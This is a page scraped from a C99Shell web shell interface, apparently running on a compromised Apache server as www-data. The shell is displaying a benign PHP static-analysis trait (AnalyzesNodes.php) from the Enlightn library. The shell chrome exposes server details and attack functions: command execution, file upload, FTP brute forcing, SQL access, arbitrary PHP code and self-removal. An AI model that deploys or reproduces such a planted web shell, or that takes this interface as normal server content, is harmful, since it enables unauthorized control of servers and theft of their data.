!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/enlightn/enlightn/src/PHPStan/   drwxr-xr-x
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AnalyzesNodes.php (5.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Enlightn\Enlightn\PHPStan;

use 
Illuminate\Database\Eloquent\Builder as EloquentBuilder;
use 
Illuminate\Database\Query\Builder as QueryBuilder;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Str;
use 
PhpParser\Node;
use 
PhpParser\Node\Expr;
use 
PhpParser\Node\Expr\MethodCall;
use 
PHPStan\Analyser\Scope;
use 
PHPStan\Type\IntegerType;
use 
PHPStan\Type\ObjectType;
use 
PHPStan\Type\StringType;
use 
PHPStan\Type\UnionType;

trait 
AnalyzesNodes
{
    
/**
     * Determine whether the Expr was called on a Request instance.
     *
     * @param \PhpParser\Node\Expr $expr
     * @param \PHPStan\Analyser\Scope $scope
     * @return bool
     */
    
protected function isRequestArrayData(Expr $exprScope $scope)
    {
        
$logic = (new RequestArrayDataType(new UnionType([new StringType, new IntegerType]), new RequestDataType))
            ->
canBeSuperTypeOf($scope->getType($expr));

        return 
$logic->yes() || $logic->maybe();
    }

    
/**
     * Determine whether the Expr was called on a Request instance.
     *
     * @param \PhpParser\Node\Expr $expr
     * @param \PHPStan\Analyser\Scope $scope
     * @return bool
     */
    
protected function isRequestData(Expr $exprScope $scope)
    {
        
$logic = (new RequestDataType)->canBeSuperTypeOf($scope->getType($expr));

        return 
$logic->yes() || $logic->maybe();
    }

    
/**
     * Determine whether the Expr was called on a Request instance.
     *
     * @param \PhpParser\Node\Expr $expr
     * @param \PHPStan\Analyser\Scope $scope
     * @return bool
     */
    
protected function isCalledOnRequest(Expr $exprScope $scope)
    {
        return 
$this->isCalledOn($expr$scopeRequest::class);
    }

    
/**
     * Determine whether the Expr was called on a Builder instance.
     *
     * @param \PhpParser\Node\Expr $expr
     * @param \PHPStan\Analyser\Scope $scope
     * @return bool
     */
    
protected function isCalledOnBuilder(Expr $exprScope $scope)
    {
        return 
$this->isCalledOn($expr$scopeEloquentBuilder::class)
            || 
$this->isCalledOn($expr$scopeQueryBuilder::class);
    }

    
/**
     * @param \PhpParser\Node\Arg $arg
     * @param \PHPStan\Analyser\Scope $scope
     * @return bool
     */
    
protected function retrievesRequestInput(Node\Arg $argScope $scope)
    {
        return 
$this->analyzeRecursively($arg->value$scope, [$this'hasRequestCall']);
    }

    
/**
     * @param \PhpParser\Node $node
     * @param \PHPStan\Analyser\Scope $scope
     * @return bool
     */
    
protected function hasRequestCall(Node $nodeScope $scope)
    {
        if (
$node instanceof Expr) {
            return 
$this->isRequestData($node$scope)
                || 
$this->isRequestArrayData($node$scope);
        }

        return 
false;
    }

    
/**
     * Determine whether the Expr was called on a class instance.
     *
     * @param \PhpParser\Node\Expr $expr
     * @param \PHPStan\Analyser\Scope $scope
     * @param string $className
     * @return bool
     */
    
protected function isCalledOn(Expr $exprScope $scopestring $className)
    {
        
$calledOnType $scope->getType($expr);

        return (new 
ObjectType($className))->isSuperTypeOf($calledOnType)->yes();
    }

    
/**
     * Determine whether the Expr was called on a class instance.
     *
     * @param \PhpParser\Node\Expr $expr
     * @param \PHPStan\Analyser\Scope $scope
     * @param string $className
     * @return bool
     */
    
protected function isMaybeCalledOn(Expr $exprScope $scopestring $className)
    {
        
$calledOnType $scope->getType($expr);

        return (new 
ObjectType($className))->isSuperTypeOf($calledOnType)->maybe();
    }

    
/**
     * Determine if a node has the search string.
     *
     * @param \PhpParser\Node $node
     * @param \PHPStan\Analyser\Scope $scope
     * @param string $search
     * @return bool|null
     */
    
protected function hasString(Node $nodeScope $scopestring $search)
    {
        if (
$node instanceof MethodCall
            
|| $node instanceof Expr\FuncCall
            
|| $node instanceof Expr\StaticCall
            
|| $node instanceof Expr\New_) {
            
// If the node is a method call or function call, stop the recursion as we don't want
            // to recursively search for strings inside nodes such as func/method calls.
            
return null;
        }

        return 
$node instanceof Node\Scalar\String_ && Str::contains($node->value$search);
    }

    
/**
     * Recursively analyze if any of the subnodes satisfy the callback condition.
     * If the callback returns true, it will return true. False will continue searching. Null will stop recursion.
     *
     * @param \PhpParser\Node $node
     * @param \PHPStan\Analyser\Scope $scope
     * @param callable $callback
     * @return bool
     */
    
protected function analyzeRecursively(Node $nodeScope $scope$callback)
    {
        if (
$result call_user_func($callback$node$scope)) {
            return 
true;
        }

        if (
is_null($result)) {
            
// Stop the recursion here. Do not check subnodes.
            
return false;
        }

        foreach (
$node->getSubNodeNames() as $subNodeName) {
            
$subNodes Arr::wrap($node->{$subNodeName});

            foreach (
$subNodes as $subNode) {
                if (
$subNode instanceof Node
                    
&& ($result $this->analyzeRecursively($subNode$scope$callback))) {
                    return 
true;
                }
            }
        }

        return 
false;
    }

    protected function 
blacklistedRequestDataMethods()
    {
        return [
'input''get''post''query''old''cookie''header'];
    }

    protected function 
allBlacklistedRequestMethods()
    {
        return 
array_merge($this->blacklistedRequestDataMethods(), ['all''except']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--